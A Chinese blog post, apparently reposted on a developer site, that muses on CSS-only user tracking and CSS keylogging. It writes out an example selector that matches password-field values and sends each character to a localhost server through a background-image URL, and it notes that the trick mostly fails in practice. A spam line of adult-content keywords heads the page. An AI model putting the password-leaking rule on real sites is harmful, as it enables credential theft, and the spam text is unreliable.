成人国产在线小视频_日韩寡妇人妻调教在线播放_色成人www永久在线观看_2018国产精品久久_亚洲欧美高清在线30p_亚洲少妇综合一区_黄色在线播放国产_亚洲另类技巧小说校园_国产主播xx日韩_a级毛片在线免费

資訊專欄INFORMATION COLUMN

CSS選擇器引起的一些思考

NervosNetwork / 2870人閱讀

摘要：隨著這個(gè)思路，我自己嘗試了一下構(gòu)造選擇器去匹配用戶的輸入，選擇器語法參考另外在的幫助下也找到了用來獲取按鍵輸入的腳本，其實(shí)想法都差不多，腳本傳送門搜到的版本。

今天在看技術(shù)博客的時(shí)候發(fā)現(xiàn)這個(gè)帖子，感覺挺有趣的，于是就去挖了一下，問題已經(jīng)是老問題，但是還是有很多值得注意和學(xué)習(xí)的地方。

原文帖是 僅用CSS實(shí)現(xiàn)網(wǎng)頁追蹤分析,主要講的是通過CSS來記錄用戶的交互操作和獲取一些基本信息。我的第一感覺就是可以用來做推薦系統(tǒng)的用戶交互記錄，通過這種方式能夠記錄用戶鼠標(biāo)在哪些元素上懸停的時(shí)間，以及點(diǎn)擊的操作，等等。

瀏覽器熏染HTML文件是從上而下渲染的(需要加載完.css文件之后才會(huì)繼續(xù)向下渲染)，要是加入許多這些追蹤用戶樣式的代碼可能會(huì)影響頁面的加載效率，但是要是有目的性的去使用這些功能，或許就比較值得了，比如說記錄用戶的按鍵輸入。

隨著這個(gè)思路，我自己嘗試了一下構(gòu)造CSS選擇器去匹配用戶的輸入，CSS選擇器語法參考,另外在Google的幫助下也找到了用來獲取按鍵輸入的CSS腳本，其實(shí)想法都差不多，腳本傳送門-搜到的版本 CSS-Keylogging。

主要思路是通過類似input[type="password"][value$="x"]{ background-image: url("http://localhost:3000/x"); }的方式來進(jìn)行獲取按鍵，意思就是input標(biāo)簽的type值為password的input中將value以x結(jié)尾的背景設(shè)置為url所指向的背景，但其實(shí)這個(gè)url不是圖片背景而是一個(gè)指向傳送按鍵信息的鏈接。之后你懂得通過服務(wù)端獲取url中的path就能取到值了。然后對每個(gè)按鍵到設(shè)置一個(gè)CSS腳本即可。

但其實(shí)這種方式我嘗試了很多次沒有成功，瀏覽器不會(huì)主動(dòng)將input中輸入的值存在value中，所以CSS匹配的一直是初始化狀態(tài)下的value屬性值，只有那些將value同步的框架才可能引發(fā)這些危害。

但是有一點(diǎn)可以確認(rèn)，可以通過css中地url發(fā)送get請求。這讓我想到jsonp的原理，通過像構(gòu)造類似script標(biāo)簽中地src屬性的方式來解決跨域問題，要是不注意第三方庫，很可能也存在這種惡意腳本的加載。

文章版權(quán)歸作者所有，未經(jīng)允許請勿轉(zhuǎn)載,若此文章存在違規(guī)行為，您可以聯(lián)系管理員刪除。

轉(zhuǎn)載請注明本文地址：http://systransis.cn/yun/97432.html

相關(guān)文章

  • CSS選擇器引起的一些思考

    摘要：隨著這個(gè)思路，我自己嘗試了一下構(gòu)造選擇器去匹配用戶的輸入，選擇器語法參考另外在的幫助下也找到了用來獲取按鍵輸入的腳本，其實(shí)想法都差不多，腳本傳送門搜到的版本。 今天在看技術(shù)博客的時(shí)候發(fā)現(xiàn)這個(gè)帖子，感覺挺有趣的，于是就去挖了一下，問題已經(jīng)是老問題，但是還是有很多值得注意和學(xué)習(xí)的地方。 showImg(https://segmentfault.com/img/bVbgudI?w=685&h...

    wudengzan 評論0 收藏0

  • IMWeb前端提升營七天學(xué)習(xí)總結(jié)

    摘要：寫在前面月到這天，前端提升營，騰訊大佬們分享個(gè)人經(jīng)驗(yàn)，使出各種前端方面的大招。并且減輕服務(wù)器的負(fù)擔(dān)，的原則是按需取數(shù)據(jù)，可以最大程度的減少冗余請求和響應(yīng)對服務(wù)器造成的負(fù)擔(dān)?？刂票韱慰丶慕脿顟B(tài)。 寫在前面 5月24到30這7天，IMWeb前端提升營，騰訊大佬們分享個(gè)人經(jīng)驗(yàn)，使出各種前端方面的大招。從中學(xué)習(xí)了很多前端方面的知識(shí)，也get到了前端學(xué)習(xí)的方法論，還有一些算法知識(shí)等等。 現(xiàn)將...

    mating 評論0 收藏0

  • 突破css選擇器的局限，實(shí)現(xiàn)一個(gè)css地址選擇器?

    摘要：后代選擇器，可以選擇子元素，卻沒法選擇父元素。這里說的有關(guān)聯(lián)指的是相近或者相反，比如子選擇器和后代選擇器就是比較相近的如果要實(shí)現(xiàn)鼠標(biāo)相關(guān)的功能，可能就會(huì)聯(lián)想到等選擇器。 首先看一個(gè)效果，注意地址欄的變化 showImg(https://segmentfault.com/img/remote/1460000016937042?w=1058&h=433); 然后思考一下，用css如何實(shí)現(xiàn)？...

    warnerwu 評論0 收藏0

  • 突破css選擇器的局限，實(shí)現(xiàn)一個(gè)css地址選擇器?

    摘要：后代選擇器，可以選擇子元素，卻沒法選擇父元素。這里說的有關(guān)聯(lián)指的是相近或者相反，比如子選擇器和后代選擇器就是比較相近的如果要實(shí)現(xiàn)鼠標(biāo)相關(guān)的功能，可能就會(huì)聯(lián)想到等選擇器。 首先看一個(gè)效果，注意地址欄的變化 showImg(https://segmentfault.com/img/remote/1460000016937042?w=1058&h=433); 然后思考一下，用css如何實(shí)現(xiàn)？...

    afishhhhh 評論0 收藏0

發(fā)表評論

0條評論

最新活動(dòng)
閱讀需要支付1元查看
<